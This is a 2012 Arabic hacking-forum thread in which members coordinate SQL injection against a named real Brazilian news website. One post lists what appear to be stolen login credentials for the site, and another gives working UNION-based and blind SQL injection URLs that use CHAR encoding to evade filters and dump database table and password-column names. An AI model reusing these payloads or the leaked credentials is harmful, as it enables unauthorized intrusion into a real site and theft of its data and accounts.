الى محتفي الحقن (نسيـــــــــــم هههههههه ) الكل يدخل

cisco_security · 06-26-2012, 08:16 PM

معانا موقع
حاولت انا و ميدو نحقنه بس طبعا انا نسيت الحقن من زمان و ما حقنت موقع
الموقع ذا فيه كثير فلتره ياريت احد يشرح لنا كيف طريقه التخطي
الموقع :

كود PHP:

  http://www.valorcontabil.com.br/supernews/?noticia=15

بانتظار ردودكم
BlackMask
Midou868

This is for you aircrack-ng

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC hgn lpjtd hgprk (ksdJJJJJJJJJJJl iiiiiiii ) hg;g d]og

mido868 · 06-26-2012, 08:28 PM

اقتباس

المشاركة الأصلية كتبت بواسطة BlackMask


	معانا موقع حاولت انا و ميدو نحقنه بس طبعا انا نسيت الحقن من زمان و ما حقنت موقع الموقع ذا فيه كثير فلتره ياريت احد يشرح لنا كيف طريقه التخطي الموقع : كود PHP: `http://www.valorcontabil.com.br/supernews/?noticia=15` بانتظار ردودكم BlackMask Midou868 This is for you aircrack-ng

لقد قام المشاغب بحلها هههههههههههههه
user=valorbm
pass=2003vc

aircrack -ng · 06-26-2012, 08:33 PM

BLIND SQL
http://www.valorcontabil.com.br/supe...elect%201%29=1

mido868 · 06-26-2012, 08:44 PM

اقتباس

المشاركة الأصلية كتبت بواسطة aircrack -ng


	BLIND SQL http://www.valorcontabil.com.br/supe...elect%201%29=1

لقد كنا نريد فقط تخطى الامر concat لهذا الموقع

aircrack -ng · 06-26-2012, 08:51 PM

اقتباس

المشاركة الأصلية كتبت بواسطة mido868


	لقد كنا نريد فقط تخطى الامر concat لهذا الموقع

ماتنساش دايما قيم ascll hex symbol هي مهمة جدا

ميدو ماتنساش التقييم

كود PHP:

  http://www.valorcontabil.com.br/supernews/?noticia=(-1)UNION(SELECT(1),(2),(3),(4),(5),(6),(7))

ادخال قيم السيمبول

كود PHP:

  http://www.valorcontabil.com.br/supernews/?noticia=(-1)UNION(SELECT(1),(2),(3),(4),(CONCAT_WS(CHAR(32,58,32),table_name,column_name,table_schema)),(6),(7)+from+information_schema.columns)

كود PHP:

  http://www.valorcontabil.com.br/supernews/?noticia=(-1)UNION(SELECT(1),(2),(3),(4),(CONCAT_WS(CHAR(32,58,32),table_name,column_name,table_schema)),(6),(7)+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 37))

كملو كل شيء سهل

mido868 · 06-26-2012, 09:30 PM

تم التقييم

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

الى محتفي الحقن (نسيـــــــــــم هههههههه ) الكل يدخل

جـــ'ابات العناكــ'ب